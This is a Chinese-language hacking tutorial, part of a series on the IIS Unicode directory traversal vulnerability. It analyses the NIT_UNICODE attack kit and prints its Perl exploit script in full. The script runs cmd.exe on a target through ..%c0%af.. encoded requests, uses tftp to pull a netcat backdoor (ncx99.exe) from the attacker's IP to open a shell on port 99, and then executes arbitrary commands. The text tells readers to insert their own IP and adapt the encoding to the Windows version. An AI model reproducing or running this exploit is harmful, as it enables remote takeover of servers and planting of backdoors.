UNICODE编码漏洞全攻略-5 ————————————————————————————————— badboy 坏男孩俱乐部 这并不是什么权威教材,只适合菜鸟了解win9x、NT存在的不安 全面,切莫 用此方法在国内做尝试,如果你偏要如此,那么由此引起的一切
法律后果由 你自己负责。 本文只允许在网络任意转载,但须保留文章的完整性,如把本文
作为经济目 的使用,或者未经本人许可进行印刷、光盘杂志、等出版性质的
行为,本人 将保留侵权控告的权利。 ————————————————————————————————— 五、网络里可得到的一些UNICODE扫描程序的分析(续) 3、攻击型NIT_UNICODE软件套装 下载地址 http://packetstorm.securify.com/0011-exploits/NIT_UNICODE.zip 压缩包里含有以下文件: uni.pl -------扫描UNICODE编码漏洞的主PERL程序 uniexe.pl -----执行TFTP过程的PERL程序 ncx99.exe -----一个把telnet端口设置在99的netcat木马 tftpd32.exe -----TFTP设置软件 tftpd32.hlp -----帮助文件 flie_id.diz vendinfo.diz readme.file -----使用说明和例子 该程序包主要利用unicode编码漏洞,把ncx99.exe上传到目标主
机,并启动,使攻击 者可以通过telnet 目标主机的99端口,登陆到目标主机上进行攻
击行为。 以下程序在使用时需要修改一些东西,找到 $command="tftp -i xxx.xxx.xxx.xxx GET ncx99.exe
c:\\inetpub\\scripts\\nit.exe"; 这句,把xxx.xxx.xxx.xxx.xxx修改为你的IP地址,然后存盘。 这句主要是把NCX99.EXE从你的主机改名传到目标主机
c:\inetpub\scripts\去。 另外还需要根据目标主机的NT版本,对程序里的..%c0%af..做相
应的修改,比如说 目标主机是WIN2K就修改为..%c1%1c..
#!/usr/bin/perl # This is for educational purpose's only! # WHO LET THEM DOGS OUT! # Use uni.pl first to see if this is a vulnerable server! # Based of the script unicodeexecute.pl from Roelof Temmngh # Files=uniexe.pl,uni.pl,readme.file,tftpd32.exe,exploit.readme
use Socket;
if ($#ARGV<0) {die "Usage: uniexe.pl IP:port command\n";} ($host,$port)=split(/:/,@ARGV[0]); $target = inet_aton($host);
$failed=1; $command="dir"; @results=sendraw("GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command
HTTP/1.0\r\n\r\n\cls"); foreach $line (@results){ if ($line =~ /nit.exe/) {$failed=0;} } $failed2=1; if ($failed==1) {
#You need to change the xxx.xxx.xxx.xxx to your ip address. Duh! $command="tftp -i xxx.xxx.xxx.xxx GET ncx99.exe
c:\\inetpub\\scripts\\nit.exe"; $command=~s/ /\%20/g; @results2=sendraw("GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command
HTTP/1.0\r\n\r\n"); foreach $line2 (@results2){ if (($line2 =~ /nit.exe/ )) {$failed2=0;} } }
$command=@ARGV[1]; print "\n Hit CTRL-C if this is Hanging";
$command=~s/ /\%20/g; my @results=sendraw("GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command
HTTP/1.0\r\n\r\n"); print @results;
# ------------- Sendraw - thanx RFP [email protected] sub sendraw { # this saves the whole transaction anyway my ($pstr)=@_; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||2) || die("Socket problems\n"); if(connect(S,pack "SnA4x8",2,$port,$target)){ my @in; select(S); $|=1; print $pstr; while(<S> ){ push @in, $_;} select(STDOUT); close(S); return @in; } else { die("Can't connect...\n"); }
} # NIT IN THE YEAR 2000

|